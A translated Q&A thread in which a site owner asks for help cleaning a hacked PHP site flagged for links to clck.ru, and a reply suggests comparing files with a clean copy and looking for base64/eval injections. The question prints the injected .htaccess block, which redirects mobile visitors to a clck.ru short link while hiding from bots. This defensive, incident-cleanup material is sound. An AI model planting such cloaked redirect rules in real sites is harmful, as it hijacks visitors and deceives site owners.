PHP网站上的恶意软件，指的是clck.ru [关闭]

Question

我有一个网站，根据Sucuri SiteCheck，它显然包含恶意软件。它引用了一些指向clck.ru的链接。

查看代码并没有提到clck.ru或类似的。

我已经运行了 maldetect（在操作系统 Ubuntu 上），它找到了一些我已经删除的文件。

我已更新所有应用程序并重新启动系统。

但 Sucuri SiteCheck 仍然无法验证网站是否干净。

我指的网站是 cphdans.dk。任何人都可以帮助我做更多的事情吗？

可能是某种 SQL 注入黑客，所以我应该在 MySQL 数据库中搜索一些东西（找不到 clck.ru）。

更新：

.htaccess 文件被以下代码破坏：

#########rataman##########
RewriteEngine on

RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,$
RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu9$
RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a\ wa|acer|acs-|airn|a$
RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
RewriteCond %{HTTP:Profile} .+ [NC,OR]
RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]

RewriteCond %{QUERY_STRING} !noredirect [NC]
RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleW$
RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|ameri$

RewriteRule ^(.*)$ http://clck.ru/8sNeJ [L,R=302]
#########!rataman!#########

Answer 1

很抱歉听到这个消息。该代码可能通过base64 和eval 被隐藏。这东西很恶心。它是一个什么样的系统？您能否将代码库与相同软件的干净副本进行比较？就像您在服务器上拥有该站点，但您在另一个目录（例如在开发或登台服务器上）中有一个干净的备份？原因是如果这样做，您可以看到哪些文件可能已更改。

我的两种方法是使用diff 和rsync 进行CRC 校验，像这样。首先是一个简单的diff：

diff -Naur /path/to/infected/code/ /path/to/clean/code/

但我发现在空运行模式下使用rsync（选项n) with the CRC option ofc` 设置效果更好：

rsync -rvnc /path/to/infected/code/ /path/to/clean/code/

您可能会发现以下部分或全部内容：

1. 配置文件受损：脚本会尝试将恶意软件添加到 PHP 脚本的开头或结尾。
2. 看起来应该存在但实际上不存在的文件：例如，在 WordPress 中有一个 hello.php 文件。但有些恶意软件会创建一个hello1.php 文件或一些类似的接近但不准确的文件名。
3. 不应该存在的目录：这通常是真正的有效负载。该目录将包含大量脚本。
4. JavaScript：检查您的 JavaScript 文件是否存在恶意软件。

同样，您很可能永远不会找到所提及 URL 的明文版本，但您很可能会发现不应该存在的垃圾，这些垃圾只是通过 base64 编码/隐藏并通过 eval 运行的恶意软件。

另外，请检查网站管理员中的用户列表。寻找任何新注册或修改的用户。

编辑 根据the Google safe browsing check，您的网站是干净的。也就是说，查看Sucuri SiteCheck 所说的内容会显示特定页面已被泄露。这个one here。还有这个one here。您能否查看这些页面的代码或 CMS 内容的任何部分以了解发生了什么？